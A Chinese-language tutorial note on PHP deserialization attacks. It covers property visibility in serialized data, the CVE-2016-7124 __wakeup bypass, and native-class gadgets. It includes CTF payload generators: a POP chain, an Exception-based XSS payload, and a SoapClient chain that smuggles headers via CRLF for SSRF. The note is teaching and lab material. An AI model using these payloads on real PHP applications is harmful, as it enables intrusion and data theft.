知识点:
1、PHP-反序列化-属性类型&显示特征
2、PHP-反序列化-CVE绕过&字符串逃逸
3、PHP-反序列化-原生类生成&利用&配合
补充:如果在 PHP 类中没有实现某个魔术方法,那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现,否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时(比如创建对象、访问属性、调用方法等),它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法,PHP 将不会触发该方法的自动调用。
PHP-属性类型-共有&私有&保护
1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
本地演示序列化数据显示
demo.php
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
public $name="xiaodi";
private $age="29";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));
protect 修饰的属性
父类自己访问受保护属性:类内设置接口,类外创建对象访问接口从而访问属性
class ParentClass {
protected $protectedProperty = "Protected Property";
public function getProtectedProperty() {
return $this->protectedProperty;
}
}
$parentObj = new ParentClass();
echo $parentObj->getProtectedProperty(); // 输出: Protected Property
子类访问父类的受保护属性:子类内设置接口,类外子类创建对象访问接口从而访问属性
class ParentClass {
protected $protectedProperty = "Protected Property";
}
class ChildClass extends ParentClass {
public function getProtectedPropertyFromParent() {
return $this->protectedProperty;
}
}
$childObj = new ChildClass();
echo $childObj->getProtectedPropertyFromParent(); // 输出: Protected Property
类外访问父类的受保护属性
class ParentClass {
protected $protectedProperty = "Protected Property";
}
$parentObj = new ParentClass();
// 尝试直接访问父类的受保护属性
echo $parentObj->protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property
类内访问就是在类内的方法访问,类外访问就是创建对象调用属性的方式
private 修饰的属性
父类访问自己的私有属性:类内设置接口,类外创建对象访问接口从而访问属性
class ParentClass {
private $privateProperty = "Private Property";
public function getPrivateProperty() {
return $this->privateProperty;
}
}
$parentObj = new ParentClass();
echo $parentObj->getPrivateProperty(); // 输出: Private Property
子类无法直接访问父类的私有属性:子类内设置接口,类外子类创建对象也不能访问接口从而访问属性
class ParentClass {
private $privateProperty = "Private Property";
}
class ChildClass extends ParentClass {
public function getPrivatePropertyFromParent() {
// 尝试访问父类的私有属性
return $this->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property
}
}
$childObj = new ChildClass();
echo $childObj->getPrivatePropertyFromParent();
类外无法直接访问父类的私有属性
class ParentClass {
private $privateProperty = "Private Property";
}
$parentObj = new ParentClass();
// 尝试直接访问父类的私有属性
echo $parentObj->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property
protect 修饰的方法
父类自己访问受保护方法:类内设置接口,类外创建对象访问接口从而访问方法
class ParentClass {
protected function protectedMethod() {
return "Protected Method";
}
public function callProtectedMethod() {
return $this->protectedMethod();
}
}
$parentObj = new ParentClass();
echo $parentObj->callProtectedMethod(); // 输出: Protected Method
子类访问父类的受保护方法:子类内设置接口,类外子类创建对象访问接口从而访问方法
class ParentClass {
protected function protectedMethod() {
return "Protected Method";
}
}
class ChildClass extends ParentClass {
public function callProtectedMethodFromParent() {
return $this->protectedMethod();
}
}
$childObj = new ChildClass();
echo $childObj->callProtectedMethodFromParent(); // 输出: Protected Method
类外无法直接访问父类的受保护方法:
class ParentClass {
protected function protectedMethod() {
return "Protected Method";
}
}
$parentObj = new ParentClass();
// 尝试直接调用父类的受保护方法
echo $parentObj->protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected method
private 修饰的方法
父类访问自己的私有方法:类内设置接口,类外创建对象访问接口调用方法
class ParentClass {
private function privateMethod() {
return "Private Method";
}
public function callPrivateMethod() {
return $this->privateMethod();
}
}
$parentObj = new ParentClass();
echo $parentObj->callPrivateMethod(); // 输出: Private Method
子类无法直接访问父类的私有方法
class ParentClass {
private function privateMethod() {
return "Private Method";
}
}
class ChildClass extends ParentClass {
public function callPrivateMethodFromParent() {
// 尝试访问父类的私有方法
return $this->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method
}
}
$childObj = new ChildClass();
echo $childObj->callPrivateMethodFromParent();
类外无法直接访问父类的私有方法
class ParentClass {
private function privateMethod() {
return "Private Method";
}
}
$parentObj = new ParentClass();
// 尝试直接调用父类的私有方法
echo $parentObj->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method
总结
概念约定:
- 什么是类内访问:通过类内的方法访问属性/方法。
- 什么是类外访问:类外创建对象,直接访问属性/方法
protect 访问权限:只有子类,父类自己可以类内访问到,类外不行
- protect 修饰的属性:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而访问属性
- protect 修饰的方法:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而调用方法
private 访问权限:只有父类自己可以类内访问,类外不行
- private 修饰的属性:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问私有属性
- private 修饰的方法:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法
PHP-绕过漏洞-CVE&字符串逃逸
CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
CVE-2016-7124-本地Demo
__wakeup():会在反序列化后调用
代码如下:
<?php
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
public function __wakeup(){
echo "__wakeup()被调用<br>";
}
public function __destruct(){
echo "__destruct()被调用<br>";
}
}
$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>
- __construct:Test类创建对象调用
- __wakeup:反序列化数据调用
- __destruct:销毁对象
- __destruct:销毁对象
绕过__wakeup():修改属性数量即可
说明:
- 反序列化没用调用__construct()
- 属性数错误就会绕过__wakeup()调用
- 只有一个__destruct()函数,说明没有对象创建成功
再做个实验:PHP属性变为私有,生成序列化数据,在用共有属性的类反序列化它
<?php
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
public function __wakeup(){
echo "__wakeup()被调用<br>";
}
public function __destruct(){
echo "__destruct()被调用<br>";
}
}
$s = unserialize($_GET['x']);
echo $s;
?>
类私有属性:O:4:"Test":3:{s:9:"Testsex";N;s:10:"Testname";N;s:9:"Testage";N;}
类共有属性:O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
用私有属性数据反序列化共有属性类
用共有属性数据反序列化私有属性类,权限可以由大到小
[极客大挑战 2019]PHP
下载源码分析
反序列化触发调用__wakeup 强制username值
利用语言漏洞绕过 CVE-2016-7124,修改满足漏洞条件触发
POP:
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$n = serialize(new name());
echo $n,"\n";
echo urlencode($n);
?>
字符串逃逸
字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php
PHP-原生类Tips-获取&利用&配合
参考案例:https://www.anquanke.com/post/id/264823
原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。
PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的
生成原生类脚本代码:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
注:如果对方环境没有开启相关模块功能,那么是没用的。
本地Demo-XSS
测试代码:
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
思路:
1.先看能触发的魔术方法-echo能够触发__toString方法
2.代码中没写魔术方法调用逻辑,那就需要用到原生类
3.使用魔术方法的原生类去利用
4.获取魔术方法的原生类(使用脚本去生成,生成多少与当前环境模块开关有关
默认的原生类生成脚本有太多原生类和方法了,这里只保留__toString方法,生成其有的原生类)
无代码通过原生类Exception,Exception使用查询编写利用
通过访问触发输出产生XSS漏洞,POP链:
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>
CTFSHOW-Web259
在首页及flag.php都没看到有魔术方法
调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)
无代码通过原生类SoapClient(只生成_call方法的原生类)
SoapClient使用查询编写利用
构造pop链
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form- urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
通过访问本地Flag.php获取Flag